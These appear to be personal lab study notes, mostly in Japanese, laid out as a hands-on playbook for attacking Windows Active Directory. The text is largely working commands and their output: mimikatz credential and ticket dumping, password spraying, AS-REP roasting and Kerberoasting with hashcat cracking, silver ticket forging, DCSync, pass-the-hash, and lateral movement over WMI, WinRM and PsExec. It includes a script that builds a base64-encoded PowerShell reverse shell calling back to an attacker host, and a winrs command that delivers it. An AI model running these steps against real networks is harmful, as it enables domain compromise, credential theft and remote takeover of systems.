windows
RDP
xfreerdp3 /cert:ignore /u:ste /p:zoin\!\! /d:co.com /size:95% +clipboard /v:192.168.188.74 +drive:myshare,/home/kali/share /dynamic-resolution
\tsclient\myshare
ここが共有ディレクトリ
xfreerdp3 /cert:ignore /u:stephanie /p:LegmanTeamBenzoin\!\! /d:corp.com /size:95% +clipboard /v:192.168.188.74 +drive:myshare,/home/kali/share
xfreerdp /cert:ignore /d:domain /u:username /p:password /size:95% +clipboard /v:192.168.1.1 +drive:myshare,$(pwd)
xfreerdp /u:"pcname\\Administrator" /p:"pass123\!@#" /v:192.168.204
\tsclient\myshare
ここが共有ディレクトリ
cd \\tsclient\myshare
これでアクセス
サービス列挙
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
C:¥Windows¥System32でないものが、サービスがユーザーインストールであり、ソフトウェア開発者がソフトウェアのディレクトリ構造やパーミッションを管理している可能性
サービスの権限確認
icacls "C:\xampp\apache\bin\httpd.exe"
Mask | Permissions | |
---|---|---|
F | Full access | |
M | Modify access | |
RX | Read and execute access | |
R | Read-only access | |
W | Write-only access |
基本
net user
net localgroup administrators
iwr -uri http://192.168.45.182/adduser.exe -o Current.exe
whoami /priv
whoami /groups
start-service aaaService
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
Administrator group by default has access to the remote desktop users group, even though they might not explicitly be added to the Remote Desktop Users group.
Set-Content aaa.ps1 'net localgroup "Remote Desktop Users" dave4 /add'
特権昇格につながる可能性のある他の特権には、SeBackupPrivilege、SeAssignPrimaryToken、SeLoadDriver、SeDebugがあります。このセクションでは、SeImpersonatePrivilegeのコンテキストにおける特権昇格ベクトルについて詳しく説明します。
AD
用語
COM
AD との LDAP 通信は必ずしも簡単ではありませんが、Active Directory Services Interface (ADSI) (COM 上に構築された一連のインターフェイス) を LDAP プロバイダーとして活用します。
最後に、DistinguishedName (DN) は LDAP パスの一部です。DN は、ドメイン自体を含む AD 内のオブジェクトを一意に識別する名前です。
プライマリ ドメイン コントローラ (PDC)
Microsoft のドキュメントによると、AD サービスと通信するには特定の LDAP ADsPath が必要です。LDAP パスのプロトタイプは次のようになります。
LDAP://HostName[:PortNumber][/DistinguishedName]
DistinguishedName (DN) は LDAP パスの一部です。DN は、ドメイン自体を含む AD 内のオブジェクトを一意に識別する名前です
CN=Stephanie,CN=Users,DC=corp,DC=com
CN は共通名と呼ばれ、ドメイン内のオブジェクトの識別子を指定します。
通常、AD 用語では「DC」をドメイン コントローラと呼びますが、識別名を指す場合は「DC」はドメイン コンポーネントを意味します。
列挙
ドメイン内のユーザーを出力
net user /domain
jeffadmin
adminとついていたら怪しいので調べる
C:\Users\stephanie>net user jeffadmin /domain
Local Group Memberships *Administrators
Global Group memberships *Domain Users *Domain Admins
jeffadmin は Domain Admins グループの一部
アカウントを侵害できれば、実質的にドメイン管理者に昇格することになる。
net group でドメイン内のグループを列挙
C:\Users\stephanie>net group /domain
group内のユーザを列挙
net group "Sales Department" /domain
enumeration.ps1の検索条件色々
# ドメイン内のすべてのユーザーを列挙する 0x30000000
$dirsearcher.filter="samAccountType=805306368"
#ユーザ名 検索
$dirsearcher.filter="name=jeffadmin"
#オブジェクト タイプを定義する AD のコンポーネントであるオブジェクト クラスを直接検索することもできます。
#ドメイン内のすべてのグループを一覧表示します。
LDAPSearch -LDAPQuery "(objectclass=group)"
#ドメイン内のすべてのグループを一覧表示します。さらに、cn を絞る
LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Sales Department))"
net.exe ツールは、ユーザー オブジェクトのみをリストし、グループ オブジェクトはリストしないため、この点を見逃していました。
グループ内のグループであり、ネストされたグループは、netコマンドでは出力されない
既存ツールのPowerViewを使うのがいい。
PowerView
PS C:\Tools> Import-Module .\PowerView.ps1
# ドメインに関する基本情報を取得
PS C:\Tools> Get-NetDomain
#ドメイン内の全てのユーザのリストを取得する
PS C:\Tools> Get-NetUser
#cnに属性に絞ってユーザ名を確認する
#パスワードポリシー変更以前の更新、最近ログインしているかどうかも確認
PS C:\Tools> Get-NetUser | select cn, pwdlastset, lastlogon
# グループに対しても列挙
PS C:\Tools> Get-NetGroup | select cn
# 指定したグループのメンバーを列挙
PS C:\Tools> Get-NetGroup "Sales Department" | select member
# ドメイン内のコンピュータオブジェクトを列挙
PS C:\Tools> Get-NetComputer | select operatingsystem, dnshostname
# 検索
PS C:\Tools> Get-NetComputer "*web04*"
# 現在のユーザがローカル管理者のものがあるかスプレー
PS C:\Tools> Find-LocalAdminAccess
# 対象のPCにログインしているユーザを列挙
# Access is Deniedとなるとうまくいっていない
PS C:\Tools> Get-NetSession -ComputerName files04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied
PS C:\Tools>
PS C:\Tools> Get-NetSession -ComputerName client74 -Verbose
CName : \\192.168.246.75
UserName : stephanie
Time : 0
IdleTime : 0
ComputerName : client74
これは、一見うまくいったように見えるが、コンピュータ名と第4オクテットが一致しない
# レジストリで、権限を確認する
PS C:\Tools> Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl
Path : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\
Owner : NT AUTHORITY\SYSTEM
Group : NT AUTHORITY\SYSTEM
Access : BUILTIN\Users Allow ReadKey
BUILTIN\Administrators Allow FullControl
NT AUTHORITY\SYSTEM Allow FullControl
CREATOR OWNER Allow FullControl
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadKey
S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681 Allow ReadKey
FullControl または ReadKey のいずれかを持つグループとユーザーが示されています。つまり、これらのグループとユーザーはすべて SrvsvcSessionInfo キー自体を読み取ることができます。
# 対象のPCにログインしているユーザを列挙 方法2
PS C:\Tools\PSTools> .\PsLoggedon.exe \\files04
PS C:\Tools\PSTools> .\PsLoggedon.exe \\web04
AD内のサービスの話
アプリケーションが AD に統合されると、サービス プリンシパル名 (SPN) と呼ばれる一意のサービス インスタンス識別子によって、サービスが Active Directory 内の特定のサービス アカウントに関連付けられます。
#iis_serviceアカウントに紐づく、SPN
c:\Tools>setspn -L iis_service
Registered ServicePrincipalNames for CN=iis_service,CN=Users,DC=corp,DC=com:
HTTP/web04.corp.com
HTTP/web04
HTTP/web04.corp.com:80
#SPN を列挙する別の方法は、PowerView にドメイン内のすべてのアカウントを列挙させることです。
SPN の明確なリストを取得するには、出力を select にパイプし、samaccountname 属性と serviceprincipalname 属性を選択します。
PS C:\Tools> Get-NetUser -SPN | select samaccountname,serviceprincipalname
#アクセス制御エントリ (ACE)を列挙
# SecurityIdentifierがObjectSIDに対して、ActiveDirectoryRightsの権限を持つ
PS C:\Tools> Get-ObjectAcl -Identity stephanie
# sid、SecurityIdentifierが読みにくい場合はconvert
PS C:\Tools> Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104
# Management Departmentグループに対して、GenericAllを持つもの列挙
PS C:\Tools> Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
PS C:\Tools> "S-1-5-21-1987370270-658905905-1781884369-512","S-1-5-21-1987370270-658905905-1781884369-1104","S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" | Convert-SidToName
CORP\Domain Admins
CORP\stephanie
BUILTIN\Account Operators
Local System
CORP\Enterprise Admins
# ドメイン内の共有を表示
PS C:\Tools> Find-DomainShare
PS C:\Tools> ls \\dc1.corp.com\sysvol\corp.com\
kali@kali:~$ gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"
sharphound bloodhound
コレクター(legacy)
└─$ pwd
/home/kali/offsec/tool/BloodHound-Legacy/Collectors
└─$ python3 -m http.server 1111
sharphound bloodhound
cp /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1 .
ダウンロード
iwr -uri http://192.168.119.5:8000/SharpHound.ps1 -Outfile SharpHound.ps1
powershell -ep bypass
. .\SharpHound.ps1
これでもok
certutil -urlcache -split -f http://192.168.45.234:8000/SharpHound.ps1
Import-module .\SharpHound.ps1
get-help invoke-bloodhound
コレクト
PS C:\Users\stephanie\Downloads> Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\stephanie\Desktop\ -OutputPrefix "corp audit"
これだけでもOK
Invoke-BloodHound -CollectionMethod All
kaliに移す
┌──(kali㉿kali)-[~/share]
└─$ impacket-smbserver test . -smb2support -username kali -password kali
PS C:\users\marcus\Desktop> net use m: \\192.168.45.190\test /user:kali kali
The command completed successfully
PS C:\users\marcus\Desktop> xcopy.exe '.\20250711042637_BloodHound.zip' \\192.168.45.190\test
kaliで解析
┌──(kali㉿kali)-[~/share]
└─$ sudo neo4j start
http://localhost:7474 にアクセス
user: neo4j
password: p
┌──(kali㉿kali)-[~/share]
└─$ bloodhound
データ削除する方法
uploadする
ADユーザとコンピュータの一覧表示
- コンピュータ
MATCH (m:Computer) RETURN m
OS のバージョンがわかる。
新しく出てきた端末はnslookpでIPを調べておく
PS C:\Users\marcus> nslookup INTERNALSRV1.BEYOND.COM
- ドメイン上の全てのユーザ
MATCH (m:User) RETURN m
解析
BloodHoundの事前構築済みクエリの一部を使用できるようにするため、marcus(CLIENTWK1の対話型シェル)とjohn(有効な資格情報)をOwnedとしてマークします。
「Analysis」タブの事前構築済みクエリ「Find all Domain Admins」を使用して、すべてのドメイン管理者を表示
デフォルトのドメイン管理者アカウントの他に、beccy も Domain Admins グループのメンバーであることを示しています。
RDPできるPCとユーザを探す
- Find Workstations where Domain Users can RDP
- Find Servers where Domain Users can RDP
- Find Computers where Domain Users are Local Admin
- Shortest Path to Domain Admins from Owned Principals
アクティブなセッションを確認する
MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p
ドメイン管理者のbeccyがmailserv1のセッションを持っている
このマシンへの特権アクセスを取得できれば、このユーザーのNTLMハッシュを抽出できる可能性があります。
ドメイン内のすべてのKerberoast可能なユーザーを特定
List all Kerberoastable Accounts
krbtgt ユーザーアカウントは、鍵配布センター(KDC)のサービスアカウントとして機能し、Kerberos チケットの暗号化と署名を担当します。
ドメインが設定されると、このユーザーアカウントのパスワードがランダムに生成されるため、パスワード攻撃は不可能になります。
そのため、Kerberosting の文脈では、krbtgt を省略しても問題ないケースが多くあります。
SPNを調べる。
mimikatz
パワーシェルを管理者として実行
Mimikatz を起動し、privilege::debug と入力して SeDebugPrivlege 権限を有効にし、別のアカウントが所有するプロセスと対話できるようになります。
PS C:\Tools\> .\mimikatz.exe
mimikatz # privilege::debug
Privilege '20' OK
sekurlsa::logonpasswords を実行して、Sekurlsa モジュールでログインしているすべてのユーザーの認証情報をダンプできるようになりました。
これにより、リモートデスクトップセッションなどのリモートログインを含む、現在のワークステーションまたはサーバーにログオンしているすべてのユーザーのハッシュがダンプされます。
mimikatz # sekurlsa::logonpasswords
Windows Server 2008以降を実行しているインスタンスでは、NTLMとSHA-1(AES暗号化の一般的な組み合わせ)の両方が利用できる場合があります。
Windows 7などの古いオペレーティングシステム、または手動で設定されているオペレーティングシステムでは、WDigestが有効になっています。
WDigestが有効になっている場合、Mimikatzを実行すると、パスワードハッシュと共にクリアテキストのパスワードが表示されます。
Mimikatzの別のアプローチと使用法は、TGTとサービスチケットを悪用してKerberos認証を悪用することです。
既に説明したように、現在ローカルマシンにログオンしているユーザーのKerberos TGTとサービスチケットは、将来の使用のために保存されます。これらのチケットもLSASSに保存されており、Mimikatzを使用して、自分のチケットだけでなく他のローカルユーザーのチケットも操作・取得できます。
2つ目のPowerShellウィンドウを開き、WEB04上のSMB共有(UNCパス \web04.corp.com\backup)の内容を一覧表示してみましょう。これにより、サービスチケットが作成され、キャッシュされます
PS C:\Users\jeff> dir \\web04.corp.com\backup
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/13/2022 2:52 AM 0 backup_schemata.txt
mimikatz # sekurlsa::tickets
出力にはTGTとTGSの両方が表示されます。TGSを盗めば、そのチケットに関連付けられた特定のリソースにのみアクセスできるようになります。あるいは、TGTがあれば、ドメイン内の特定のリソースに対してTGSを要求することもできます。
アカウント調査
PS C:\Users\jeff> net accounts
Force user logoff how long after time expires?: Never
Minimum password age (days): 1
Maximum password age (days): 42
Minimum password length: 7
Length of password history maintained: 24
Lockout threshold: 5
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: WORKSTATION
The command completed successfully.
ロックアウトの閾値など、アカウントの設定がわかる。
ロックアウトが発生する前に安全に4回ログインを試みることができる
ロックアウト監視期間も考慮する必要があります。
最後のログイン失敗から30分経過すると、追加のログイン試行が可能になることを示しています
パスワードスプレー
smbのプロトコルを使用する方法
crackmapexec smb 192.168.109.76 -u pete -p 'Nexus123!' -d corp.com --continue-on-success
ローカル管理者の場合はPwn3d!と出てくれる。
-uにtextを入れることも可能
crackmapexec smb 192.168.109.75 -u users.txt -p 'Flowers1' -d corp.com --continue-on-success
-d を指定しない場合、toolが推測していれてくれる。
┌──(kali㉿kali)-[~/beyond]
└─$ crackmapexec smb 192.168.204.242 -u usernames.txt -p password.txt
SMB 192.168.204.242 445 MAILSRV1 [-] beyond.com\daniela:tequieromucho STATUS_LOGON_FAILURE
AS-REP Roasting
「Kerberos 事前認証を必要としない」というoptionが有効になっているユーザのハッシュを取得できる。
-dc-ip ドメインコントローラーのIP
-outputfile AS-REPハッシュがHashcat形式で保存される出力ファイル名
-requestでTGTをリクエスト
domain/userの形式でターゲット認証情報を指定
kali@kali:~$ impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Password:
Name MemberOf PasswordLastSet LastLogon UAC
---- -------- -------------------------- -------------------------- --------
dave 2022-09-02 19:21:17.285464 2022-09-07 12:45:15.559299 0x410200
daveのユーザーアカウントオプション「Kerberos事前認証を必要としない」が有効になっていることを示しています。つまり、AS-REPロースティングに対して脆弱です。
列挙中に、別の AD ユーザーアカウントに対して GenericWrite または GenericAll 権限があることに気付きました。これらの権限を使用してパスワードをリセットすることは可能ですが、ユーザーはアカウントにアクセスできなくなります。
また、これらの権限を利用して、ユーザーのユーザーアカウント制御値を Kerberos 事前認証を必要としないように変更することもできます。
ハッシュが取れたので、hashcatをする。
kali@kali:~$ hashcat --help | grep -i "Kerberos"
18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
modeが分かったので、実際にクラックする
kali@kali:~$ sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
AD ユーザーアカウントオプション「Kerberos 事前認証を必要としない」が有効になっているユーザーを特定するには、Windows では PowerView の Get-DomainUser 関数に -PreauthNotRequired オプションを付けて使用します。
Kerberoasting (TGS-REP Roasting)
ドメインユーザならなんでもよい?
kali@kali:~$ sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70 corp.com/pete
─$ sudo impacket-GetUserSPNs -request -dc-ip 192.168.185.70 corp.com/jeff
outputのハッシュは違うが、どちらも同じパスワードが出力された。
同じユーザで調べても毎回パスワードが違う。
$krb5tgs$23$
とhash値の先頭に記載されているので、23を使用する。
└─$ sudo hashcat -m 13100 hashes.kerberoast1111 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
評価を実行しているときに、別の AD ユーザーアカウントに対して GenericWrite または GenericAll 権限を持っていることに気付いたとします。
前述のように、ユーザーのパスワードをリセットすることもできますが、疑念を抱かれる可能性があります。しかし、ユーザーにSPNを設定し、アカウントをKerberoastし、パスワードハッシュを解読するという、標的型Kerberoastingと呼ばれる攻撃も可能です
Silver Tickets
HTTP SPN リソースにアクセスするためのシルバー チケットを作成します。前のセクションで確認したように、iis_service ユーザーアカウントは HTTP SPN にマッピングされています。
この例では、iis_service ユーザーが CLIENT75 でセッションを確立していることがわかっていると仮定します。 一般的に、シルバーチケットを作成するには、以下の 3 つの情報を収集する必要があります。
- SPN password hash
- Domain SID
- Target SPN
SPN password hash
iis_service がセッションを確立しているこのマシンでは、ローカル管理者としてログインしているので、Mimikatz を使用して SPN パスワードハッシュ(iis_service の NTLM ハッシュ)を取得できます。
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 1147751 (00000000:00118367)
Session : Service from 0
User Name : iis_service
Domain : CORP
Logon Server : DC1
Logon Time : 9/14/2022 4:52:14 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1109
msv :
[00000003] Primary
* Username : iis_service
* Domain : CORP
* NTLM : 4d28cf5252d39971419580a51484ca09
Domain SID
whoami /user と入力すると、現在のユーザーのSIDを取得できます。
SIDは複数の部分で構成されています。ここではドメインSIDのみを対象としているため、ユーザーのRIDは省略します。
Target SPN
この例では、IIS上で実行されているWebページにアクセスするため、WEB04上のHTTP SPNリソース(HTTP/web04.corp.com:80)をターゲットとします。
チケット作成のコマンド
mimikatz # kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin
mimikatz # exit
Bye!
最後、exitすることを忘れないこと
チケット確認
PS C:\Tools> klist
Current LogonId is 0:0xa04cc
Cached Tickets: (1)
#0> Client: jeffadmin @ corp.com
アクセス確認
PS C:\Tools> iwr -UseDefaultCredentials http://web04
SPN、マシンアカウント、またはユーザーのパスワードハッシュにアクセスできれば、あらゆるユーザーと権限の関連サービスチケットを偽造できます
jeffadminがドメインユーザなので、指定しているが
aaaa とかでも通った。
下記、パッチが当たっていなかったのかと
シルバーチケットとゴールデンチケットは強力な攻撃手法であるため、Microsoft は PAC 構造を更新するセキュリティパッチを作成しました。
このパッチを適用すると、拡張された PAC 構造フィールド PAC_REQUESTOR がドメインコントローラーによって検証されるようになります。
これにより、クライアントと KDC が同じドメイン内にある場合、存在しないドメインユーザーのチケットが偽造される可能性が軽減されます。
このパッチを適用しないと、存在しないドメインユーザーのシルバーチケットが作成される可能性があります。
Domain Controller Synchronization
実稼働環境では、ドメインは通常、冗長性を実現するために複数のドメインコントローラに依存しています。ディレクトリレプリケーションサービス (DRS) のリモートプロトコルは、レプリケーションを使用してこれらの冗長ドメインコントローラを同期します。
このようなレプリケーションを開始するには、ユーザーに「ディレクトリの変更のレプリケーション」、「すべてのディレクトリの変更のレプリケーション」、「フィルターされたセット内のディレクトリの変更のレプリケーション」の権限が必要です。
Replicating Directory Changes, Replicating Directory Changes All, and Replicating Directory Changes in Filtered Set rights.
デフォルトでは、Domain Admins、Enterprise Admins、および Administrators グループのメンバーにこれらの権限が割り当てられています。
これらのグループのいずれかに属する、またはこれらの権限が割り当てられたユーザーアカウントへのアクセスを取得できれば、ドメインコントローラーを偽装するdcsync攻撃を実行できます。
Mimikatzでこの攻撃を実行するには、lsadump::dcsyncモジュールを使用し、/user:の引数として資格情報を取得するドメインユーザー名を指定します。この例では、ドメイン ユーザー dave をターゲットにします。
ドメインに参加しているPCからmimikatzを起動
PS C:\Tools> .\mimikatz.exe
...
mimikatz # lsadump::dcsync /user:corp\dave
[DC] 'corp.com' will be the domain
[DC] 'DC1.corp.com' will be the DC server
[DC] 'corp\dave' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : dave
** SAM ACCOUNT **
SAM Username : dave
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00410200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD DONT_REQUIRE_PREAUTH )
Account expiration :
Password last change : 9/7/2022 9:54:57 AM
Object Security ID : S-1-5-21-1987370270-658905905-1781884369-1103
Object Relative ID : 1103
Credentials:
Hash NTLM: 08d7a47a6f9f66b97b1bae4178747494
ntlm- 0: 08d7a47a6f9f66b97b1bae4178747494
ntlm- 1: a11e808659d5ec5b6c4f43c1e5a0972d
lm - 0: 45bc7d437911303a42e764eaf8fda43e
lm - 1: fdd7d20efbcaf626bd2ccedd49d9512d
...
Mimikatzはドメインコントローラーを偽装してdcsync攻撃を実行し、レプリケーションを利用してdaveのユーザー認証情報を取得しました。
あとは、hashcrackかpass the hash を行う
kali@kali:~$ hashcat -m 1000 hashes.dcsync /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
...
08d7a47a6f9f66b97b1bae4178747494:Flowers1
...
Administoratorに対しても攻撃できる。
mimikatz # lsadump::dcsync /user:corp\Administrator
kaliから実施するには下記コマンド
kali@kali:~$ impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:"BrouhahaTungPerorateBroom2023\!"@192.168.50.70
-just-dc-user ターゲットユーザー名 dave
必要な権限を持つユーザーの認証情報と、ドメインコントローラーの IP アドレスをdomain/user:password@ip の形式で指定
AD内での横展開
wmi
リモートアクセスにはポート135経由でリモートプロシージャコール(RPC)を介して通信し、セッションデータには上位ポート(19152~65535)を使用
WMIを介してリモートターゲット上にプロセスを作成するには、Administratorsローカルグループのメンバー(ドメインユーザーでも可)の資格情報が必要
C:\Users\jeff>wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"
C:\Users\jeff>wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 5772;
ReturnValue = 0;
};
新しく作成されたプロセスのPIDと戻り値「0」を返しました。これは、プロセスが正常に作成されたことを意味します。
powershellでも同様のことが可能
$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName 192.168.227.73 -Credential $credential -SessionOption $Options
$command = 'calc';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
リバースシェルに昇華できる。↑のコマンド部分に下記のbase64を挿入
import sys
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
winrm
リモート管理におけるWMIの代替手段として、リモートホスト管理にはWinRMを使用できます。WinRMはWS-ManagementプロトコルのMicrosoft版であり、HTTPおよびHTTPS経由でXMLメッセージを交換します。
暗号化されたHTTPSトラフィックにはTCPポート5986、プレーンHTTPトラフィックにはポート5985を使用します。
WinRMはwinrs(Windowsリモートシェル)などの多数の組み込みユーティリティにも実装されています。
WinRS が機能するには、ドメイン ユーザーがターゲット ホストの Administrators グループまたは Remote Management Users グループに属している必要があります。
C:\Users\jeff>winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"
FILES04
corp\jen
この手法を完全なラテラルムーブメントシナリオに変換するには、前述のコマンドを、先ほど作成した base64 エンコードされたリバースシェルに置き換えるだけです。
C:\Users\jeff>winrs -r:files04 -u:jen -p:Nexus123! "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
PowerShell には、PowerShell リモート処理と呼ばれる WinRM 組み込み機能もあります。これは、以前と同様に、資格情報オブジェクト形式の資格情報とともにターゲット ホストの IP を提供することで、New-PSSession コマンドレットを介して呼び出すことができます。
PS C:\Users\jeff> $username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
PS C:\Users\jeff> New-PSSession -ComputerName 192.168.50.73 -Credential $credential
Id Name ComputerName ComputerType State ConfigurationName Availability
-- ---- ------------ ------------ ----- ----------------- ------------
1 WinRM1 192.168.50.73 RemoteMachine Opened Microsoft.PowerShell Available
PsExec
SysInternalsスイートの一部
このツールを悪用してラテラルムーブメント(横方向の移動)を行うため3つの条件
①ターゲットマシンに認証するユーザーがAdministratorsローカルグループに属する
②ADMIN$共有が利用可能であること、
③ファイルとプリンターの共有が有効
リモートホストで対話型セッションを開始するには、
PsExec64.exe を -i 引数で起動し、その後に2つのバックスラッシュを先頭に付けたターゲットホスト名を指定
-u 引数でドメイン\ユーザー名として corp\jen を指定
-p 引数でパスワードとして Nexus123! を指定
リモートで実行するプロセスを指定します。ここではコマンドシェルを使用
PS C:\Tools\SysinternalsSuite> .\PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd
Pass the Hash
Pass the Hash (PtH) 技術を使用すると、攻撃者はユーザーの平文パスワードの代わりに NTLM ハッシュを使用してリモートシステムまたはサービスへの認証を行うことができます。
NTLM 認証を使用するサーバーまたはサービスでのみ有効であり、Kerberos 認証を使用するサーバーまたはサービスでは有効ではないことに注意
多くのサードパーティ製ツールやフレームワークは、PtH を使用してユーザーの認証とコード実行が可能
- PsExec from Metasploit
- Passing-the-hash toolkit
- Impacket
PsExecと同様に、PtHにも3つの前提条件があります。
- ファイアウォール(通常はポート445)を介したSMB接続が必要です。
- Windowsのファイルとプリンターの共有機能が有効になっている必要があります。
- ADMIN$と呼ばれる管理共有が利用可能であることも必要です。
この手法は、Active Directoryドメインアカウントと組み込みのローカル管理者アカウントで有効です。ただし、2014年のセキュリティアップデートにより、この手法は他のローカル管理者アカウントとして認証するためには使用できません。
kali@kali:~$ /usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.50.73
Overpass the Hash
ハッシュのオーバーパス機能を使えば、NTLMユーザーハッシュを悪用することで、完全なKerberosチケット認可チケット(TGT)を取得できる。
そして、そのTGTを使ってチケット認可サービス(TGS)を取得できます。
前提
jenユーザの資格情報(NTLMハッシュ)ある端末に
jeffユーザで接続する
mimikatzでntlmハッシュを取得する。
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
...
Authentication Id : 0 ; 1142030 (00000000:00116d0e)
Session : Interactive from 0
User Name : jen
Domain : CORP
Logon Server : DC1
Logon Time : 2/27/2023 7:43:20 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1124
msv :
[00000003] Primary
* Username : jen
* Domain : CORP
* NTLM : 369def79d8372408bf6e93364cc93075
* SHA1 : faf35992ad0df4fc418af543e5f4cb08210830d4
* DPAPI : ed6686fedb60840cd49b5286a7c08fa4
tspkg :
wdigest :
* Username : jen
* Domain : CORP
* Password : (null)
kerberos :
* Username : jen
* Domain : CORP.COM
* Password : (null)
ssp :
credman :
...
NTLMハッシュをKerberosチケットに変換し、NTLM認証の使用を回避する
Mimikatzのsekurlsa::pthコマンドを使用
このコマンドはいくつかの引数を必要とし、jenのコンテキストで新しいPowerShellプロセスを作成
mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
user : jen
domain : corp.com
program : powershell
impers. : no
NTLM : 369def79d8372408bf6e93364cc93075
この時点で、jen としてコマンドを実行できる新しい PowerShell セッションができました。
この時点で、新しく作成されたPowerShellセッションでwhoamiコマンドを実行すると、jenではなくjeffのIDが表示されます。これは混乱を招く可能性がありますが、これはwhoamiユーティリティの意図された動作であり、現在のプロセスのトークンのみをチェックし、インポートされたKerberosチケットは検査しません。
キャッシュされた Kerberos チケットを klist で一覧表示してみましょう。
PS C:\Windows\system32> klist
Cached Tickets: (0)
Kerberosチケットはキャッシュされていませんが、jenがまだ対話型ログインを実行していないため、これは想定内のことです。
net useを使用してfiles04サーバー上のネットワーク共有に認証し、TGTを生成してみましょう。
PS C:\Windows\system32> net use \\files04
The command completed successfully.
出力は、net use コマンドが成功したことを示しています。 次に、klist コマンドを使用して、新しく要求された Kerberos チケットを一覧表示してみましょう。
PS C:\Windows\system32> klist
Current LogonId is 0:0x17239e
Cached Tickets: (2)
#0> Client: jen @ CORP.COM
Server: krbtgt/CORP.COM @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 2/27/2023 5:27:28 (local)
End Time: 2/27/2023 15:27:28 (local)
Renew Time: 3/6/2023 5:27:28 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called: DC1.corp.com
#1> Client: jen @ CORP.COM
Server: cifs/files04 @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 2/27/2023 5:27:28 (local)
End Time: 2/27/2023 15:27:28 (local)
Renew Time: 3/6/2023 5:27:28 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called: DC1.corp.com
